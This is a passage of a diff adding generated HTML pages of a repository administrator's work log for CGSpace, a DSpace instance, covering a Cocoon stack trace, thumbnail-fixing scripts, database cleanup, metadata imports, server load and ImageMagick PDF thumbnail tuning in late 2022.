+    at sun.reflect.GeneratedMethodAccessor267.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy189.prepareInternal(Unknown Source)
+    at org.apache.cocoon.components.source.impl.SitemapSource.init(SitemapSource.java:292)
+    at org.apache.cocoon.components.source.impl.SitemapSource.<init>(SitemapSource.java:148)
+    at org.apache.cocoon.components.source.impl.SitemapSourceFactory.getSource(SitemapSourceFactory.java:62)
+    at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI(CocoonSourceResolver.java:153)
+    at org.apache.cocoon.components.source.CocoonSourceResolver.resolveURI(CocoonSourceResolver.java:183)
+    at org.apache.cocoon.generation.FileGenerator.setup(FileGenerator.java:99)
+    at sun.reflect.GeneratedMethodAccessor255.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy190.setup(Unknown Source)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.setupPipeline(AbstractProcessingPipeline.java:343)
+    at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.setupPipeline(AbstractCachingProcessingPipeline.java:710)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.preparePipeline(AbstractProcessingPipeline.java:466)
+    at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.process(AbstractProcessingPipeline.java:411)
+    at sun.reflect.GeneratedMethodAccessor331.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:498)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy189.process(Unknown Source)
+    at org.apache.cocoon.components.treeprocessor.sitemap.SerializeNode.invoke(SerializeNode.java:147)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:55)
+    at org.apache.cocoon.components.treeprocessor.sitemap.MatchNode.invoke(MatchNode.java:87)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+    at org.apache.cocoon.components.treeprocessor.sitemap.PipelineNode.invoke(PipelineNode.java:143)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+    at org.apache.cocoon.components.treeprocessor.sitemap.PipelinesNode.invoke(PipelinesNode.java:81)
+    at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:239)
+    at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:171)
+    at org.apache.cocoon.components.treeprocessor.TreeProcessor.process(TreeProcessor.java:247)
+    at org.apache.cocoon.components.treeprocessor.sitemap.MountNode.invoke(MountNode.java:117)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:55)
+    at org.apache.cocoon.components.treeprocessor.sitemap.MatchNode.invoke(MatchNode.java:87)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+    at org.apache.cocoon.components.treeprocessor.sitemap.PipelineNode.invoke(PipelineNode.java:143)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+    at org.apache.cocoon.components.treeprocessor.sitemap.PipelinesNode.invoke(PipelinesNode.java:81)
+    at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:239)
+    at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:171)
+    at org.apache.cocoon.components.treeprocessor.TreeProcessor.process(TreeProcessor.java:247)
+    at org.apache.cocoon.components.treeprocessor.sitemap.MountNode.invoke(MountNode.java:117)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+    at org.apache.cocoon.components.treeprocessor.sitemap.PipelineNode.invoke(PipelineNode.java:143)
+    at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:78)
+    at org.apache.cocoon.components.treeprocessor.sitemap.PipelinesNode.invoke(PipelinesNode.java:81)
+    at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:239)
+    at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:171)
+    at org.apache.cocoon.components.treeprocessor.TreeProcessor.process(TreeProcessor.java:247)
+    at org.apache.cocoon.servlet.RequestProcessor.process(RequestProcessor.java:351)
+    at org.apache.cocoon.servlet.RequestProcessor.service(RequestProcessor.java:169)
+    at org.apache.cocoon.sitemap.SitemapServlet.service(SitemapServlet.java:84)
+    at javax.servlet.http.HttpServlet.service(HttpServlet.java:728)
+    at org.apache.cocoon.servletservice.ServletServiceContext$PathDispatcher.forward(ServletServiceContext.java:468)
+    at org.apache.cocoon.servletservice.ServletServiceContext$PathDispatcher.forward(ServletServiceContext.java:443)
+    at org.apache.cocoon.servletservice.spring.ServletFactoryBean$ServiceInterceptor.invoke(ServletFactoryBean.java:264)
+    at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:172)
+    at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:204)
+    at com.sun.proxy.$Proxy186.service(Unknown Source)
+    at org.dspace.springmvc.CocoonView.render(CocoonView.java:113)
+    at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1216)
+    at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1001)
+    at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:945)
+    at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:867)
+    at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:951)
+    at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:853)
+    at javax.servlet.http.HttpServlet.service(HttpServlet.java:647)
+    at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:827)
+    at javax.servlet.http.HttpServlet.service(HttpServlet.java:728)
+    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:303)
+    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+    at org.dspace.app.xmlui.cocoon.SetCharacterEncodingFilter.doFilter(SetCharacterEncodingFilter.java:113)
+    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+    at org.dspace.app.xmlui.cocoon.DSpaceCocoonServletFilter.doFilter(DSpaceCocoonServletFilter.java:160)
+    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+    at org.dspace.app.xmlui.cocoon.servlet.multipart.DSpaceMultipartFilter.doFilter(DSpaceMultipartFilter.java:119)
+    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+    at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
+    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+    at org.dspace.utils.servlet.DSpaceWebappServletFilter.doFilter(DSpaceWebappServletFilter.java:78)
+    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219)
+    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:110)
+    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:492)
+    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:165)
+    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:104)
+    at org.apache.catalina.valves.CrawlerSessionManagerValve.invoke(CrawlerSessionManagerValve.java:235)
+    at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:1025)
+    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)
+    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:451)
+    at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1201)
+    at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:654)
+    at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:317)
+    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+    at java.lang.Thread.run(Thread.java:750)
+
    +
  • So this is a broken side effect from the org.apache.cocoon.uploads.autosave=false change I made a few weeks ago +
      +
    • Importing the CSV via the command line works fine
      • +
    +
    • +
+

2022-10-04

+
    +
  • I stumbled across more low-quality thumbnails on CGSpace +
      +
    • Some have the description “Generated Thumbnail”, and others are manually uploaded “.jpg.jpg” ones…
      • +
    • I want to develop some more thumbnail fixer scripts to the cgspace-java-helpers suite: +
        +
      • If an item has an IM Thumbnail and a Generated Thumbnail in the THUMBNAIL bundle, remove the Generated Thumbnail
        • +
      • If an item has a PDF bitstream and a JPG bitstream with description /thumbnail/ in the ORIGINAL bundle, remove the /thumbnail/ bitstream in the ORIGINAL bundle and try to remove the /thumbnail/.jpg bitstream in the THUMBNAIL bundle
        • +
      +
      • +
    +
    • +
+

2022-10-05

+
    +
  • I updated the cgspace-java-helpers to include a new FixLowQualityThumbnails script to detect the low-quality thumbnails I found above
    • +
  • Add missing ORCID identifier for an Alliance author
    • +
  • I’ve been running the dspace cleanup -v script every few weeks or months on CGSpace and assuming it finished successfully because I didn’t get a error on the stdout/stderr, but today I noticed that the script keeps saying it is deleting the same bitstreams +
      +
    • I looked in dspace.log and found the error I used to see a lot:
      • +
    +
    • +
+
Caused by: org.postgresql.util.PSQLException: ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"
+  Detail: Key (uuid)=(99b76ee4-15c6-458c-a940-866148bc7dee) is still referenced from table "bundle".
+
    +
  • If I mark the primary bitstream as null manually the cleanup script continues until it finds a few more +
      +
    • I ended up with a long list of UUIDs to fix before the script would complete:
      • +
    +
    • +
+
$ psql -d dspace -c "update bundle set primary_bitstream_id=NULL where primary_bitstream_id in ('b76d41c0-0a02-4f53-bfde-a840ccfff903','1981efaa-eadb-46cd-9d7b-12d7a8cff4c4','97a8b1fa-3c12-4122-9c7b-fc2a3eaf570d','99b76ee4-15c6-458c-a940-866148bc7dee','f330fc22-a787-46e2-b8d0-64cc3e166124','592f4a0d-1ed5-4663-be0e-958c0d3e653b','e73b3178-8f29-42bc-bfd1-1a454903343c','e3a5f592-ac23-4934-a2b2-26735fac0c4f','73f4ff6c-6679-44e8-8cbd-9f28a1df6927','11c9a75c-17a6-4966-a4e8-a473010eb34c','155faf93-92c5-4c17-866e-1db50b1f9687','8e073e9e-ab54-4d99-971a-66de073d51e3','76ddd62c-6499-4a8c-beea-3fc8c60200d8','2850fcc9-f450-430a-9317-c42def74e813','8fef3198-2aea-4bd8-aeab-bf5fccb46e42','9e3c3528-e20f-4da3-a0bd-ae9b8515b770')"
+

2022-10-06

+
    +
  • I finished running the cleanup script on CGSpace and the before and after on the number of bitstreams is interesting:
    • +
+
$ find /home/cgspace.cgiar.org/assetstore -type f | wc -l
+181094
+$ find /home/cgspace.cgiar.org/assetstore -type f | wc -l
+178329
+
    +
  • So that cleaned up ~2,700 bitstreams!
    • +
  • Interesting, someone on the DSpace Slack mentioned this as being a known issue with discussion, reproducers, and a pull request: https://github.com/DSpace/DSpace/issues/7348
    • +
  • I am having an issue with the new FixLowQualityThumbnails script on some communities like 10568/117865 and 10568/97114 +
      +
    • For some reason it doesn’t descend into the collections
      • +
    • Also, my old FixJpgJpgThumbnails doesn’t either… weird
      • +
    • I might have to resort to getting a list of collections and doing it that way:
      • +
    +
    • +
+
$ psql -h localhost -U postgres -d dspacetest -c 'SELECT ds6_collection2collectionhandle(uuid) FROM collection WHERE uuid in (SELECT uuid FROM collection);' |
+    sed 1,2d |
+    tac |
+    sed 1,3d > /tmp/collections
+
    +
  • Strange, I don’t think doing it by collections is actually working because it says it’s replacing the bitstreams, but it doesn’t actually do it +
      +
    • I don’t have time to figure out what’s happening, because I see “update_item” in dspace.log when the script says it’s doing it, but it doesn’t do it
      • +
    • I might just extract a list of items that have .jpg.jpg thumbnails from the database and run the script through item mode
      • +
    • There might be a problem with the context commit logic…?
      • +
    +
    • +
  • I exported a list of items that have .jpg.jpg thumbnails on CGSpace:
    • +
+
$ psql -h localhost -p 5432 -U postgres -d dspacetest -c "SELECT ds6_bitstream2itemhandle(dspace_object_id) FROM metadatavalue WHERE text_value ~ '.*\.(jpg|jpeg|JPG|JPEG)\.(jpg|jpeg|JPG|JPEG)' AND dspace_object_id IS NOT NULL;" |
+  sed 1,2d |
+  tac |
+  sed 1,3d |
+  grep -v '␀' |
+  sort -u |
+  sed 's/ //' > /tmp/jpgjpg-handles.txt
+
    +
  • I restarted DSpace Test because it had high load since yesterday and I don’t know why
    • +
  • Run check-duplicates.py on the 1642 MARLO Innovations to try to include matches from the OICRs we uploaded last month +
      +
    • Then I processed those matches like I did with the OICRs themselves last month, and then cleaned them one last time with csv-metadata-quality, created a SAF bundle, and uploaded them to CGSpace
      • +
    • BTW this bumps CGSpace over 100,000 items…
      • +
    • Then I did the same for the 749 MARLO MELIAs and imported them to CGSpace
      • +
    +
    • +
  • Meeting about CG Core types with Abenet, Marie-Angelique, Sara, Margarita, and Valentina
    • +
  • I made some minor logic changes to the FixJpgJpgThumbnails script in cgspace-java-helpers +
      +
    • Now it checks to make sure the bitstream description is not empty or null, and also excludes Maps (in addition to Infographics) since those are likely to be JPEG files in the ORIGINAL bundle on purpose
      • +
    +
    • +
+

2022-10-07

+
    +
  • I did the matching and cleaning on the 512 MARLO Policies and uploaded them to CGSpace
    • +
  • I sent a list of the IDs and Handles for all four groups of MARLO items to Jose so he can do the redirects on their server:
    • +
+
$ wc -l /tmp/*mappings.csv
+  1643 /tmp/crp-innovation-mappings.csv
+   750 /tmp/crp-melia-mappings.csv
+   683 /tmp/crp-oicr-mappings.csv
+   513 /tmp/crp-policy-mappings.csv
+  3589 total
+
    +
  • I fixed the mysterious issue with my cgspace-java-helpers scripts not working on communities and collections +
      +
    • It was because the code wasn’t committing the context!
      • +
    • I ran both FixJpgJpgThumbnails and FixLowQualityThumbnails on a dozen or so large collections on CGSpace and processed about 1,200 low-quality thumbnails
      • +
    +
    • +
  • I did a complete re-sync of CGSpace to DSpace Test
    • +
+

2022-10-08

+
    +
  • Start a harvest on AReS
    • +
  • Experiment with PDF thumbnails in ImageMagick again, I found an interesting reference on their legacy website saying we can use -unsharp after -thumbnail to make them less blurry +
      +
    • There are a few examples for unsharp values (starting from a DSpace default of a flattened JPEG from the PDF, then the thumbnail in a second operation:
      • +
    +
    • +
+
$ convert '10568-103447.pdf[0]' -flatten 10568-103447-dspace-step1.pdf.jpg 
+$ convert 10568-103447-dspace-step1.pdf.jpg -thumbnail 600x600 -unsharp 0x.5 10568-103447-dspace-step2-600-unsharp.pdf.jpg
+$ convert 10568-103447-dspace-step1.pdf.jpg -thumbnail 600x600 -unsharp 2x0.5+0.7+0 10568-103447-dspace-step2-600-unsharp2.pdf.jpg
+$ convert 10568-103447-dspace-step1.pdf.jpg -thumbnail 600x600 -unsharp 0x0.75+0.75+0.008 10568-103447-dspace-step2-600-unsharp3.pdf.jpg
+$ convert 10568-103447-dspace-step1.pdf.jpg -thumbnail 600x600 -unsharp 1.5x1+0.7+0.02 10568-103447-dspace-step2-600-unsharp4.pdf.jpg
+
    +
  • I merged all the changes from 6_x-dev to 6_x-prod after having run them on DSpace Test for the last ten days
    • +
+

2022-10-11

+ +

2022-10-12

+
    +
  • I submitted a pull request to DSpace 7 for the -unsharp 0x0.5 change: https://github.com/DSpace/DSpace/pull/8515
    • +
  • I did some tests on CGSpace and verified that MEL will indeed need admin permissions on every collection that they want to map to
    • +
  • I had a call with Salem and he asked me about redirecting from some CRP duplicates that exist in both MELSpace and CGSpace +
      +
    • We decided that the only way is to use an HTTP 301 redirect in the nginx web server, but I said that I’d check with CNRI to see if there was a way to do this within the Handle system
      • +
    +
    • +
+

2022-10-13

+
    +
  • Disable the REST API cache on CGSpace temporarily to see if that fixes a strange problem we are seeing with listing publications on ilri.org
    • +
  • Meeting with MEL, MARLO, and CG Core people to continue discussing dcterms.type
    • +
  • I added the new MEL account to all the appropriate authorizations for Initiatives that ICARDA is involved in on CGSpace +
      +
    • I still have to add the few that WorldFish is involved in
      • +
    +
    • +
+

2022-10-14

+
    +
  • Abenet finalized adding the MEL user to all initiative collections on CGSpace
    • +
  • Re-sync CGSpace to DSpace Test to get the new MEL user and authorizations
    • +
  • I checked ilri.org and I see more publications for 2021 and earlier +
      +
    • The results are still strange though because I only see a few for each year
      • +
    +
    • +
+

2022-10-15

+
    +
  • I’m going to turn the REST API cache on CGSpace back on to see if the ilri.org publications thing gets broken again
    • +
  • Start a harvest on AReS
    • +
+

2022-10-16

+
    +
  • The harvest on AReS finished but somehow there are 10,000 less items than the previous indexing… hmmm +
      +
    • I don’t see any hits from MELSpace there so I will start another harvest…
      • +
    • After starting the harvesting the load on the server went up to 20 and UptimeRobot said CGSpace was down for three hours, sigh
      • +
    • I stopped the harvesting and the load went down immediately
      • +
    • I am trying to find a pattern with the load on Sundays
      • +
    +
    • +
  • I see this in the AReS backend logs:
    • +
+
[Nest] 1   - 10/16/2022, 6:42:04 PM   [HarvesterService] Starting Harvest =>0
+[Nest] 1   - 10/16/2022, 6:42:07 PM   [HarvesterService] Starting Harvest =>101555
+[Nest] 1   - 10/16/2022, 6:42:10 PM   [HarvesterService] Starting Harvest =>4936
+
    +
  • Which means MELSpace is having some issue
    • +
  • I’m not sure what was going on on CGSpace yesterday, but the load was indeed very high according to Munin:
    • +
+

CGSpace CPU load day

+
    +
  • The pattern is clear on Sundays if you look at the past month:
    • +
+

CGSpace CPU load month

+
    +
  • I have yet to find an increased nginx request pattern correlating with the increased load, but looking back on the last year it seems something started happening around March, 2022, and also I start seeing CPU steal in July (red coming from the top of the graph):
    • +
+

CGSpace CPU load year

+
    +
  • The amount of CPU steal is very low if I look at it now, around 1 or 2 percent, but what’s happening now reminds me of the mysterious load problems I had in 2019-03 that were due to CPU steal
    • +
  • Salem said there was an issue with the sitemaps on MELSpace so that’s why it wasn’t working in AReS +
      +
    • Load on CGSpace is low in the evening so I’ll start a new AReS harvest
      • +
    +
    • +
+

2022-10-18

+
    +
  • Start mapping the Initiative names on CGSpace to tne new short names from Enrico’s spreadsheet
    • +
  • Then I will update them for existing CGSpace items:
    • +
+
$ ./ilri/fix-metadata-values.py -i 2022-10-18-update-initiatives.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.initiative -m 258 -t correct -d -n
+
    +
  • And later in the controlled vocabulary
    • +
  • Apply some corrections to a few hundred items on CGSpace for Peter
    • +
  • Meeting with Abenet, Sara, and Valentina about CG Core types +
      +
    • We finished going over our list and agreed to send a message to concerned parties in our organizations for feedback by November 4th
      • +
    • Next week we will continue doing the definitions
      • +
    +
    • +
  • Re-sync CGSpace to DSpace Test to get the latest Initiatives changes +
      +
    • I also need to re-create the CIAT/Alliance TIP accounts so they can continue testing
      • +
    • I re-created the tip-submit@cgiar.org and tip-approve@cgiar.org account on DSpace Test
      • +
    • According to my notes: +
        +
      • A user must be in the collection admin group in order to deposit via the REST API (not in the collection’s “Submit” group, which is for normal submission)
        • +
      • A user must be in the collection’s “Accept/Reject/Edit Metadata” step in order to see and approve the item in the DSpace workflow
        • +
      +
      • +
    • I created a new “TIP test” collection under Alliance’s community and added the users accordingly
      • +
    • I think I’ll be able to just add these two submit/approve users to the Alliance Admins and Alliance Editors groups once we’re ready
      • +
    +
    • +
+

2022-10-19

+ +

gs thumbnail

+
    +
  • In other news, I see pdftocairo from the poppler package produces a similar, though slightly prettier version of the thumbnail of that PDF:
    • +
+

pdftocairo thumbnail

+
    +
  • I used the command:
    • +
+
$ pdftocairo -jpeg -singlefile -f 1 -l 1 -scale-to-x 640 -scale-to-y -1 10568-116598.pdf thumb
+
    +
  • The Ghostscript developers responded in a few minutes (!) and explained that PDFs can contain many different “boxes”:
    • +
+
+

PDF files can have multiple different ‘Box’ values; ArtBox, BleedBox, CropBox, MediaBox and TrimBox. The MediaBox is required the other boxes are optional, a given PDF page description must contain the MediaBox and may contain any or all of the others.

+

By default Ghostscript uses the MediaBox to determine the size of the media. Other PDF consumers may exhibit other behaviours.

+

The pages in your PDF file contain all of the Boxes. In the majority of cases the Boxes all contain the same values (which makes their inclusion pointless of course). But for page 1 they differ:

+

/CropBox[594.375 0.0 1190.55 839.176] +/MediaBox[0.0 0.0 1190.55 841.89]

+

You can tell Ghostscript to use a different Box value for the media by using one of -dUseArtBox, -dUseBleedBox, -dUseCropBox, -dUseTrim,Box. If I specify -dUseCropBox then the file is rendered as you expect.

+
+
    +
  • I confirm that adding -define pdf:use-cropbox=true to the ImageMagick command produces a better thumbnail in this case +
      +
    • We can check the boxes in a PDF using pdfinfo from the poppler package:
      • +
    +
    • +
+
$ pdfinfo -box data/10568-116598.pdf
+Creator:         Adobe InDesign 17.0 (Macintosh)
+Producer:        Adobe PDF Library 16.0.3
+CreationDate:    Tue Dec  7 12:44:46 2021 EAT
+ModDate:         Tue Dec  7 15:37:58 2021 EAT
+Custom Metadata: no
+Metadata Stream: yes
+Tagged:          no
+UserProperties:  no
+Suspects:        no
+Form:            none
+JavaScript:      no
+Pages:           17
+Encrypted:       no
+Page size:       596.175 x 839.176 pts
+Page rot:        0
+MediaBox:            0.00     0.00  1190.55   841.89
+CropBox:           594.38     0.00  1190.55   839.18
+BleedBox:          594.38     0.00  1190.55   839.18
+TrimBox:           594.38     0.00  1190.55   839.18
+ArtBox:            594.38     0.00  1190.55   839.18
+File size:       572600 bytes
+Optimized:       no
+PDF version:     1.6
+
    +
  • In this case the MediaBox is a strange size, and we should use the CropBox +
      +
    • I wonder if we can check that from DSpace…
      • +
    +
    • +
  • Apply some corrections from Peter on CGSpace
    • +
  • Meeting with Leroy, Daniel, Francesca, and Maria from Alliance to review their TIP tool and talk about next steps +
      +
    • We asked them to do some real submissions (as opposed to “I like coffee” etc) to test the full breadth of the metadata and controlled vocabularies
      • +
    +
    • +
  • Minor work on the CG Core Types spreadsheet to clear up some of the actions and incorporate some of Peter’s feedback
    • +
  • After looking at the request patterns in nginx on CGSpace for the past few weeks I see nothing that would explain the high loads we see several times per week (especially Sundays!) +
      +
    • So I suspect there is a noisy neighbor, and actually I do see some non-trivial amount of CPU steal in my Munin graphs and iostat
      • +
    • I asked Linode to move the instance elsewhere
      • +
    +
    • +
+

2022-10-22

+
    +
  • Start a harvest on AReS
    • +
+

2022-10-24

+
    +
  • Peter sent me some corrections for affiliations:
    • +
+
$ cat 2022-10-24-affiliations.csv 
+cg.contributor.affiliation,correct
+Wageningen University and Research Centre,Wageningen University & Research
+Wageningen University and Research,Wageningen University & Research
+Wageningen University,Wageningen University & Research
+$ ./ilri/fix-metadata-values.py -i 2022-10-24-affiliations.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.affiliation -m 211 -t correct -d
+
    +
  • Add ORCID identifier for Claudia Arndt on CGSpace and tag her existing items
    • +
  • Linode responded to my request last week and said they don’t think that the culprit here is CPU steal, but that they would move us to another host anyways +
      +
    • I still need to check the Munin graphs
      • +
    +
    • +
+

2022-10-25

+
    +
  • Upload some changes to items on CGSpace for Peter
    • +
  • Start a full Discovery index on CGSpace:
    • +
+
$ time chrt -b 0 ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    226m40.463s
+user    132m6.511s
+sys     3m15.077s
+

2022-10-26

+
    +
  • We published the infographic and blog post to mark CGSpace’s 100,000th item +
      +
    • I generated a high-quality thumbnail using ImageMagick in order to Tweet it:
      • +
    +
    • +
+
$ convert -density 144 10568-125167.pdf\[0\] -thumbnail x1200 /tmp/10568-125167.pdf.png
+$ pngquant /tmp/10568-125167.pdf.png
+
    +
  • Spent some time looking at the MediaBox / CropBox thing in DSpace’s ImageMagickThumbnailFilter.java +
      +
    • We need to make sure to put -define pdf:use-cropbox=true before we specify the input file or else it will not have any effect
      • +
    +
    • +
+

2022-10-27

+ +
$ pdfcpu box rem -- "crop" in.pdf out.pdf
+
    +
  • I filed an issue on DSpace for the ImageMagick CropBox problem +
      +
    • I decided that this is a bug that should be fixed separately from the “improving thumbnail quality” issue
      • +
    • I made a pull request to fix the CropBox issue
      • +
    +
    • +
  • I did more work on my improved-dspace-thumbnails microsite to complement the DSpace thumbnail pull requests +
      +
    • I am updating it to recommend using the PDF cropbox and “supersampling” with a higher density than 72
      • +
    • I measured execution time of ImageMagick with time and found that the higher-density mode takes about five times longer on average
      • +
    • I measured the maximum heap memory of ImageMagick with Valgrind and Massif:
      • +
    +
    • +
+
$ valgrind --tool=massif magick convert ...
+
    +
  • Then I checked the results for each set of default DSpace thumbnail runs and “improved” thumbnail runs using ms_print (hacky way to get the max heap, I know):
    • +
+
$ for file in memory-dspace/massif.out.49*; do ms_print "$file" | grep -A1 "    MB" | tail -n1 | sed 's/\^.*//'; done
+15.87
+16.06
+21.26
+15.88
+20.01
+15.85
+20.06
+16.04
+15.87
+15.87
+20.02
+15.87
+15.86
+19.92
+10.89
+$ for file in memory-improved/massif.out.5*; do ms_print "$file" | grep -A1 "    MB" | tail -n1 | sed 's/\^.*//'; done
+245.3
+245.5
+298.6
+245.3
+306.8
+245.2
+306.9
+245.5
+245.2
+245.3
+306.8
+245.3
+244.9
+306.3
+165.6
+
    +
  • Ouch, this shows that it takes about fifteen times more memory to do the “4x” density of 288! +
      +
    • It seems more reasonable to use a “2x” density of 144:
      • +
    +
    • +
+
$ for file in memory-improved-144/*; do ms_print "$file" | grep -A1 "    MB" | tail -n1 | sed 's/\^.*//'; done
+61.80
+62.00
+76.76
+61.82
+77.43
+61.77
+77.48
+61.98
+61.76
+61.81
+77.44
+61.81
+61.69
+77.16
+41.84
+
    +
  • There’s a really cool visualizer called massif-visualizer, but it isn’t easy to parse
    • +
+

2022-10-28

+
    +
  • I finalized the code for the ImageMagick density change and made a pull request against DSpace 7.x
    • +
+

2022-10-29

+
    +
  • Start a harvest on AReS
    • +
+

2022-10-31

+
    +
  • Tag version 6.1 of cgspace-java-helpers: https://github.com/ilri/cgspace-java-helpers/releases/tag/v6.1 +
      +
    • I also pushed a more recent 6.1-SNAPSHOT version to Maven Central via OSSRH
      • +
    • I should probably push a non SNAPSHOT but I don’t have time to figure that out in Maven
      • +
    +
    • +
  • Add some new items on CGSpace and update others for Peter
    • +
  • Email Mishell from CIP about their old theses which are using Creative Commons licenses +
      +
    • They said it’s OK so I updated all sixteen items in that collection
      • +
    +
    • +
  • Move the “MEL submissions” collection on CGSpace from ICARDA’s community to the Initiatives community
    • +
  • Meeting with Peter and Abenet about ongoing CGSpace action points
    • +
  • I created the authorizations for Alliance’s TIP tool to submit on CGSpace
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2022-11/index.html b/docs/2022-11/index.html new file mode 100644 index 000000000..13f94879c --- /dev/null +++ b/docs/2022-11/index.html @@ -0,0 +1,811 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + November, 2022 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

November, 2022

+

+ + in + Notes + + +

+
+

2022-11-01

+
    +
  • Last night I re-synced DSpace 7 Test from CGSpace +
      +
    • I also updated all my local 7_x-dev branches on the latest upstreams
      • +
    +
    • +
  • I spent some time updating the authorizations in Alliance collections +
      +
    • I want to make sure they use groups instead of individuals where possible!
      • +
    +
    • +
  • I reverted the Cocoon autosave change because it was more of a nuissance that Peter can’t upload CSVs from the web interface and is a very low severity security issue
    • +
+ +

2022-11-02

+
    +
  • I joined the FAO–CGIAR AGROVOC results sharing meeting +
      +
    • From June to October, 2022 we suggested 39 new keywords, added 27 to AGROVOC, 4 rejected, and 9 still under discussion
      • +
    +
    • +
  • Doing duplicate check on IFPRI’s batch upload and I found one duplicate uploaded by IWMI earlier this year +
      +
    • I will update the metadata of that item and map it to the correct Initiative collection
      • +
    +
